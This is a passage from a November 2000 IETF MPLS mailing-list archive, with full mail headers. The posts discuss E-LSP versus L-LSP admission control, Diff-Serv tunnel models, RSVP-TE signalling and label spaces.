pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA11456 for mpls@uu.net; Tue, 28 Nov 2000 09:59:14 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrgt28086 for ; Tue, 28 Nov 2000 14:58:44 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrgt24998 for ; Tue, 28 Nov 2000 14:58:22 GMT Received: from ogma.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjrgt19474 for ; Tue, 28 Nov 2000 14:58:21 GMT Received: from europe.cisco.com (europe.cisco.com [144.254.52.73]) by ogma.cisco.com (Postfix) with ESMTP id D17E714E; Tue, 28 Nov 2000 15:58:19 +0100 (MET) Received: from flefauch-8kcdt.cisco.com (nice-dhcp12.cisco.com [144.254.60.34]) by europe.cisco.com (8.8.8+Sun/8.8.8) with SMTP id PAA13485; Tue, 28 Nov 2000 15:58:18 +0100 (MET) Message-Id: <200011281458.PAA13485@europe.cisco.com> X-Sender: flefauch@europe.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Tue, 28 Nov 2000 15:57:49 +0100 To: "Daniel N. Bauer" From: Francois Le Faucheur Subject: Re: E-LSP or L-LSP Cc: Shahram Davari , mpls@UU.NET In-Reply-To: <3A2358E5.9050C440@zurich.ibm.com> References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A82@BBY1EXM01> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk All, At 08:04 28/11/2000 +0100, Daniel N. Bauer wrote: > >Maybe a solution is to extend the signaling and include optionally the >BW requirements per OA for E-LSPs. > For information: The question of whether it would be worth adding yet another option to the spec to support per-OA bandwidth signalling (for admission control purposes), has already been discussed when progressing the draft (see thread "Re: BANDWIDTH RESERVATION - RE: Announcing"). Below is one message from that thread which should give you some background as to why we elected to not include such extensions. Hope that is useful. Francois >Delivered-To: flefauch@cisco.com >X-Sender: flefauch@europe.cisco.com >X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 >Date: Wed, 01 Mar 2000 11:36:43 -0500 >To: curtis@avici.com >From: Francois Le Faucheur >Subject: Re: BANDWIDTH RESERVATION - RE: Announcing > draft-ietf-mpls-diff-ext-03.txt >Cc: Francois Le Faucheur , > Shahram Davari , > "'Juha Heinanen'" , curtis@avici.com, > mpls@UU.NET, bsd@cisco.com, liwwu@europe.cisco.com, > pasi.vaananen@ntc.nokia.com, ram@nexabit.com, > Pierrick.Cheval@alcatel.fr >Sender: flefauch@cisco.com > >Curtis, > >At 19:22 25/02/2000 -0500, Curtis Villamizar wrote: > >>You have a fine I-D and I do agree that L-LSPs can be used if >>reservation per BA is desired. It is just more efficient to use an >>E-LSP if more than one BA can be accomodated given the limited EXP >>bits and also given the requirements of the BAs wrt fast-reroute, >>adaptivity, and resilience match. In the interest of making that >>improvement in efficience possible, I would prefer if you would add >>per BA (or per PHB as the MAPs are now defined) bandwidth as an option >>to the MAPs for E-LSPs. >> >>Please consider making this change to the I-D. >> > >I am considering... but not convinced. > >We agree that if one wants to do per-OA Routing and per-OA admission >Control, then this can be done using L-LSPs + bandwidth reservation as >currently defined. Call this Mode 1. >We also agree that if one wants to do aggregate routing of Multiple-OAs >and Aggregate Admission Control of Multiple-OAs, then this can be done >using E-LSPs + bandwidth reservation as currently defined. CAll this Mode 2. > >The suggestion above is for extensions allowing aggregate routing/transport >of multiple-OAs with per-OA admission control. Call this MOde 3. Firstly, >such an extension would also require defining the procedures and error code >for handling situations where the admission control for one OA is >successful while the admission control for another OA is rejected. You >woudl have to reject the E-LSP explaining which admission control failed. >Secondly, that would mean that you cannot route one OA onto a Path which >has capacity for it simply because it happens to travel on an E-LSP along >another OA which has run out of capacity. In other words, multi-OA Routing >with per-OA admission control achieves less efficient routing than Mode 2 >would. >Is this not right? > >So, all in all, I still think: > - you can do pretty good and label-efficient with Mode 1 > - you can do the ideal per-OA thing with Mode 2. > - Mode 3 does not have a strong application in between these 2. > - there are already quite a lot of options in our spec... > >Do you still see a strong application for Mode 3 which would justify >extensions in the MAP but also extensions in all the error codes and >procedures (today we rely on normal RSVP error handling to signal rejection >because of admission control)? > >Opinions from others? > >Cheers > >Francois > >Regards, >-Daniel > From owner-mpls@UU.NET Tue Nov 28 10:32:26 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22706 for ; Tue, 28 Nov 2000 10:32:26 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgv08759; Tue, 28 Nov 2000 15:29:42 GMT Received: by mail-control.mail.uu.net id QQjrgv12148 for mpls-outgoing; Tue, 28 Nov 2000 15:29:21 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrgv12136 for ; Tue, 28 Nov 2000 15:29:14 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrgv07480 for ; Tue, 28 Nov 2000 15:28:55 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrgv07352 for ; Tue, 28 Nov 2000 15:28:54 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA15835 for mpls@uu.net; Tue, 28 Nov 2000 10:28:53 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrgv12093 for ; Tue, 28 Nov 2000 15:28:34 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrgv05911 for ; Tue, 28 Nov 2000 15:28:16 GMT Received: from ogma.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjrgv06321 for ; Tue, 28 Nov 2000 15:28:15 GMT Received: from europe.cisco.com (europe.cisco.com [144.254.52.73]) by ogma.cisco.com (Postfix) with ESMTP id 399891A5; Tue, 28 Nov 2000 16:28:15 +0100 (MET) Received: from flefauch-8kcdt.cisco.com (nice-dhcp12.cisco.com [144.254.60.34]) by europe.cisco.com (8.8.8+Sun/8.8.8) with SMTP id QAA26107; Tue, 28 Nov 2000 16:28:14 +0100 (MET) Message-Id: <200011281528.QAA26107@europe.cisco.com> X-Sender: flefauch@europe.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Tue, 28 Nov 2000 16:19:10 +0100 To: Francis Arts From: Francois Le Faucheur Subject: Re: draft-ietf-mpls-diff-ext-07.txt Cc: mpls@UU.NET In-Reply-To: <3A1F86A8.A0D76BCF@alcatel.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Francis, The targetted scenario is 2) [ two sub-clouds of a single Diff-Serv domain interconnected through an MPLS cloud ]. But I think you could make it work for 1) assuming, as you said, that you do the right DSCP translation. Francois At 10:30 25/11/2000 +0100, Francis Arts wrote: > >Hello, > >I have a question concerning the draft-ietf-mpls-diff-ext-07.txt draft. > >Section 2.6.2, p.13 of this draft states the following: > >"The Pipe Model is particularly appropriate to environments in which >the incoming interface of the LSP Ingress and the outgoing interface >of the LSP Egress are in Diff-Serv domains which use a common set of >Diff-Serv service provisioning policies and PHB definitions, while >the LSP spans one (or more) Diff-Serv domain(s) which use(s) a >different set of Diff-Serv service provisioning policies and PHB >definitions." > > >This statement could be interpreted in 2 ways. Which one is correct: > >1) The 2 diff serv domains connected by the LSP use the same PHBs but >may use a different DSCP encoding of the PHB. If a different DSCP >encoding is used, a translation needs to be done at either end. > >2) The 2 diff serv domains connected by the LSP use the same PHBs and >the same >DSCP encoding of the PHB. > > > >Thanks for your answer. > >Kind regards, > > Francis. > From owner-mpls@UU.NET Tue Nov 28 11:07:22 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA07853 for ; Tue, 28 Nov 2000 11:07:22 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgy09898; Tue, 28 Nov 2000 16:03:37 GMT Received: by mail-control.mail.uu.net id QQjrgy21045 for mpls-outgoing; Tue, 28 Nov 2000 16:03:02 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrgy20325 for ; Tue, 28 Nov 2000 16:02:43 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrgy22384 for ; Tue, 28 Nov 2000 16:00:50 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrgy05850 for ; Tue, 28 Nov 2000 16:00:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA20601 for mpls@uu.net; Tue, 28 Nov 2000 11:00:48 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrgy17152 for ; Tue, 28 Nov 2000 16:00:17 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrgx19908 for ; Tue, 28 Nov 2000 15:59:38 GMT Received: from ogma.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjrgx05056 for ; Tue, 28 Nov 2000 15:59:37 GMT Received: from europe.cisco.com (europe.cisco.com [144.254.52.73]) by ogma.cisco.com (Postfix) with ESMTP id 3AB227F; Tue, 28 Nov 2000 16:59:36 +0100 (MET) Received: from flefauch-8kcdt.cisco.com (nice-dhcp12.cisco.com [144.254.60.34]) by europe.cisco.com (8.8.8+Sun/8.8.8) with SMTP id QAA08524; Tue, 28 Nov 2000 16:59:35 +0100 (MET) Message-Id: <200011281559.QAA08524@europe.cisco.com> X-Sender: flefauch@europe.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Tue, 28 Nov 2000 16:45:28 +0100 To: "Eleonora Manconi (TEI)" From: Francois Le Faucheur Subject: Re: DIFFSERV object Cc: "'mpls@UU.NET'" In-Reply-To: <1367DA832A24D311A95C0008C791C770060C60F5@eitrmnt100.tei.er icsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Eleonora, With RSVP-TE, a lot of the Tunnel properties are selected by the Head-End and only signaled in the Path message. This is the case for the SESSION_ATTRIBUTE (eg. setup and hold priorities) and for the EXPLICIT_ROUTE. It also makes sense that the Diff-Serv requirements for the tunnel be selected by the Head-end and signaled in the Path message. Francois At 19:05 24/11/2000 +0100, Eleonora Manconi (TEI) wrote: >Hi all, >I'm studing a possible extension of RSVP for MPLS. I have a question about draft-ietf-mpls-diff-ext-0.7.txt again: >why the DIFFSERV object is added to the Path message ?(I mean is it the same if the DIFFSERV object is transported by the Resv message in the ? ) > >Thanks in advance. > >/Eleonora > _________________________________________________________________ Francois Le Faucheur Development Engineer, IOS Layer 3 Services Cisco Systems Office Phone: +33 4 92 96 75 64 Home Office Phone: +33 4 92 94 00 78 Mobile : +33 6 89 108 159 Vmail: +33 1 58 04 62 66 Fax: +33 4 92 96 79 08 Email: flefauch@cisco.com _________________________________________________________________ Petra B - Les Lucioles - 291, rue Albert Caquot - 06560 Valbonne - France _________________________________________________________________ From owner-mpls@UU.NET Tue Nov 28 11:32:45 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19839 for ; Tue, 28 Nov 2000 11:32:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrgz16675; Tue, 28 Nov 2000 16:29:02 GMT Received: by mail-control.mail.uu.net id QQjrgz00465 for mpls-outgoing; Tue, 28 Nov 2000 16:28:45 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrgz00443 for ; Tue, 28 Nov 2000 16:28:36 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrgz24444 for ; Tue, 28 Nov 2000 16:28:00 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrgz19607 for ; Tue, 28 Nov 2000 16:27:59 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA24685 for mpls@uu.net; Tue, 28 Nov 2000 11:27:58 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrgz00188 for ; Tue, 28 Nov 2000 16:27:29 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrgz19122 for ; Tue, 28 Nov 2000 16:25:41 GMT Received: from ns01.newbridge.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ns01.newbridge.com [192.75.23.67]) id QQjrgz11621 for ; Tue, 28 Nov 2000 16:25:36 GMT Received: (from smtpd@localhost) by ns01.newbridge.com (8.9.2/8.9.2) id LAA25273 for ; Tue, 28 Nov 2000 11:17:17 -0500 (EST) Received: from portal1.newbridge.com(192.75.23.76), claiming to be "kanata-mh1.ca.newbridge.com" via SMTP by ns01.newbridge.com, id smtpdAAA0d4___; Tue Nov 28 11:17:10 2000 Received: from kanmail01.ca.newbridge.com by kanata-mh1.ca.newbridge.com with ESMTP for mpls@uu.net; Tue, 28 Nov 2000 11:19:19 -0500 Received: from fvanoy ([138.120.219.205]) by kanmail01.ca.newbridge.com (Netscape Messaging Server 3.6) with SMTP id AAA2CD4 for ; Tue, 28 Nov 2000 11:19:18 -0500 From: "STEVE ANDERSON" To: Subject: unsubscribe Date: Tue, 28 Nov 2000 11:20:15 -0500 Message-Id: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit unsubscribe From owner-mpls@UU.NET Tue Nov 28 11:48:58 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA26818 for ; Tue, 28 Nov 2000 11:48:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhb17653; Tue, 28 Nov 2000 16:46:00 GMT Received: by mail-control.mail.uu.net id QQjrhb03467 for mpls-outgoing; Tue, 28 Nov 2000 16:45:22 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrhb03443 for ; Tue, 28 Nov 2000 16:45:16 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrha05981 for ; Tue, 28 Nov 2000 16:44:56 GMT Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrha28956 for ; Tue, 28 Nov 2000 16:44:56 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA21676; Tue, 28 Nov 2000 08:44:56 -0800 (PST) Received: from localhost (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id LAA13276; Tue, 28 Nov 2000 11:44:54 -0500 (EST) Message-Id: <200011281644.LAA13276@erosen-sun.cisco.com> X-Authentication-Warning: erosen-sun.cisco.com: erosen owned process doing -bs To: jleu@mindspring.com cc: Shahram Davari , "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP In-reply-to: Your message of Mon, 27 Nov 2000 14:44:45 -0600. <20001127144445.C18739@doit.wisc.edu> Reply-To: erosen@cisco.com User-Agent: EMH/1.10.0 WEMI/1.13.2 (Mochimune) FLIM/1.12.1 (=?ISO-8859-4?Q?Nishinoky=F2?=) Emacs/20.6 (sparc-sun-solaris2.5.1) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by WEMI 1.13.2 - "Mochimune") Content-Type: text/plain; charset=US-ASCII Date: Tue, 28 Nov 2000 11:44:53 -0500 From: Eric Rosen Sender: owner-mpls@UU.NET Precedence: bulk Eric> In fact, there is no such thing as a per-platform label space of Eric> VPI/VCIs or DLCIs. So there is no way a per-platform label space Eric> could take values away from a per-interface label space in an ATM-LSR. James> This question is slightly tangential, but: James> How does one handle the case where you have ATM and POS interfaces James> terminating "tunnels" which carry traffic with a label value for the James> same service? I'm not quite sure what you are asking. For a labeled packet arriving over an LC-ATM interface, the top label will always be a VPI/VCI; labels lower on the stack will never be VPI/VCIs. Eric> One problem with this proposal is that there is no such notion as an Eric> "N level label". James> If the stack consists of 2 labels. The bottom label is is the 2nd James> level label. When allocating that bottom label, the service should James> take into consideration which set of top labels could be used to James> "tunnel" traffic with that label value to this LSR. I think what you mean is that for each label you allocate, you should keep track of the set of interfaces from which traffic carrying that label might (validly) arrive. I don' think that this set, "the set of interfaces from which traffic carrying that label might validly arrive", can be identified by a set of labels. James> So you are saying that even though interface I,N are members of the James> platform label space, the contents of their ILMs may be different. James> Agreed. There are cases though when the labels allocated from the James> platform label space need to be added to the ILMs of multiple James> interfaces. How will the user specify _which_ interfaces should be James> included? Most likely by creating a group of interfaces, and James> associating that group with a service. Why not use the label space James> for the grouping and the association? You could do this, it just isn't the only way to do it. Eric> Unless you have some reason for using the same label value for Eric> different services, there is no difference between having per-service Eric> label spaces, and having a per-platform label space where you know Eric> that certain labels may not be validly received over certain Eric> interfaces. What you need to know is that a particular label has been Eric> used for a particular service, you don't really need a per-service Eric> label space. James> I'm assuming we will need more then 20 bits to represent all of the James> label values allocated by a given LSR. More than one million label values per LSR? What applications do you have in mind? From owner-mpls@UU.NET Tue Nov 28 11:52:33 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28148 for ; Tue, 28 Nov 2000 11:52:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhb24266; Tue, 28 Nov 2000 16:49:53 GMT Received: by mail-control.mail.uu.net id QQjrhb04020 for mpls-outgoing; Tue, 28 Nov 2000 16:49:23 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrhb03980 for ; Tue, 28 Nov 2000 16:49:08 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrhb02715 for ; Tue, 28 Nov 2000 16:48:54 GMT Received: from megapathdsl.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ns1.megapath.net [216.200.176.4]) id QQjrhb22622 for ; Tue, 28 Nov 2000 16:48:53 GMT Received: from [208.202.21.22] (HELO kensington) by megapathdsl.net (CommuniGate Pro SMTP 3.3.2) with SMTP id 8401133; Tue, 28 Nov 2000 08:48:51 -0800 From: "Robert Schellhase" To: Subject: MPLS for UDLR Date: Tue, 28 Nov 2000 11:48:50 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I am looking for ways to implement certain traffic engineering and QoS features over satellite links using MPLS. Does any router support Unidirectional Link Routing (UDLR) using MPLS as the tunneling encapsulation? I have tried this with Cisco 7200 and 7500 series boxes (with latest T-train IOS) without success. It seems that UDLR is able to use only GRE tunnels. In my view, MPLS would be ideally suited to this purpose because it is lightweight (only 4 bytes) and satellite bandwidth tends to be scarce. In general, I have had trouble getting MPLS TE tunnels to work when the physical interfaces for send and receive are different. This may be more of a problem with OSPF than with the tunnel mechansim itself. Any thoughts? From owner-mpls@UU.NET Tue Nov 28 11:55:53 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA29527 for ; Tue, 28 Nov 2000 11:55:53 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhb22090; Tue, 28 Nov 2000 16:52:43 GMT Received: by mail-control.mail.uu.net id QQjrhb04195 for mpls-outgoing; Tue, 28 Nov 2000 16:52:25 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrhb04182 for ; Tue, 28 Nov 2000 16:52:10 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrhb21302 for ; Tue, 28 Nov 2000 16:51:55 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrhb20789 for ; Tue, 28 Nov 2000 16:51:54 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA29146 for mpls@uu.net; Tue, 28 Nov 2000 11:51:53 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrhb04108 for ; Tue, 28 Nov 2000 16:51:38 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrhb19439 for ; Tue, 28 Nov 2000 16:51:08 GMT Received: from procyon.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjrhb19669 for ; Tue, 28 Nov 2000 16:51:07 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id IAA24256; Tue, 28 Nov 2000 08:50:58 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Tue, 28 Nov 2000 08:50:59 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A91@BBY1EXM01> From: Shahram Davari To: "'Daniel N. Bauer'" Cc: mpls@UU.NET Subject: RE: E-LSP or L-LSP Date: Tue, 28 Nov 2000 08:50:58 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Daniel, > 1.) How does the "admission control for each supported BA" work? > How does the ingress LSR split up the aggregated BW request into > a BW request for each BA? What is the rational to do admission > control for the BAs only at the edge? Since we know the BW of the established E-LSP, every time that we admit a requested BA in to this LSP, we can subtract its BW from the E-LSP BW, and we can admit till we exhaust our E-LSP BW. > I don't find this very similar to the Aggregate RSVP > admission control. > There, the requirement of each flow is known before the > flows are aggregated. > This is not the case for E-LSPs. Let's assume before establishing the E-LSP you have a few request for a number of BAs. You could add their BW request and find the total BW and establish an E-LSP for that BW (this is the same as aggregate RSVP). Now if a new request comes in, you could either reject is, or modify the E-LSP BW or establish a new LSP. > > 2.) If admission control for E-LSPs is only based on the > aggregate bandwidth, > it becomes difficult to do a reliable admission control > for L-LSPs. For L-LSP > admission control, the LSRs need to know the unreserved > bandwidth per OA. > How is it possible to do book-keeping for unreserved > bandwidth, if E-LSPs > are admitted on the aggregate? Very good question. I didn't claim that E-LSP with aggregate BW signaling is perfect. If one needs good BW control he can always use L-LSP. However, one solution might be to use different PHBs (or different PHB instances) for the E-LSPs and L-LSPs. > > Maybe a solution is to extend the signaling and include optionally the > BW requirements per OA for E-LSPs. > This option has been discussed by the MPLS WG as there was no consensus on it. Regards, -Shahram > Regards, > -Daniel > From owner-mpls@UU.NET Tue Nov 28 12:23:52 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07573 for ; Tue, 28 Nov 2000 12:23:51 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhd21087; Tue, 28 Nov 2000 17:19:54 GMT Received: by mail-control.mail.uu.net id QQjrhd18904 for mpls-outgoing; Tue, 28 Nov 2000 17:19:21 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrhd18898 for ; Tue, 28 Nov 2000 17:19:19 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrhd01005 for ; Tue, 28 Nov 2000 17:18:09 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrhd18326 for ; Tue, 28 Nov 2000 17:18:09 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA03796 for mpls@uu.net; Tue, 28 Nov 2000 12:18:08 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrhd18699 for ; Tue, 28 Nov 2000 17:17:30 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrhd26464 for ; Tue, 28 Nov 2000 17:15:53 GMT Received: from procyon.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjrhd15200 for ; Tue, 28 Nov 2000 17:15:53 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id JAA00655; Tue, 28 Nov 2000 09:15:16 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Tue, 28 Nov 2000 09:15:16 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A93@BBY1EXM01> From: Shahram Davari To: "'jleu@mindspring.com'" Cc: James_Huang@Mitel.COM, mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Tue, 28 Nov 2000 09:15:15 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET 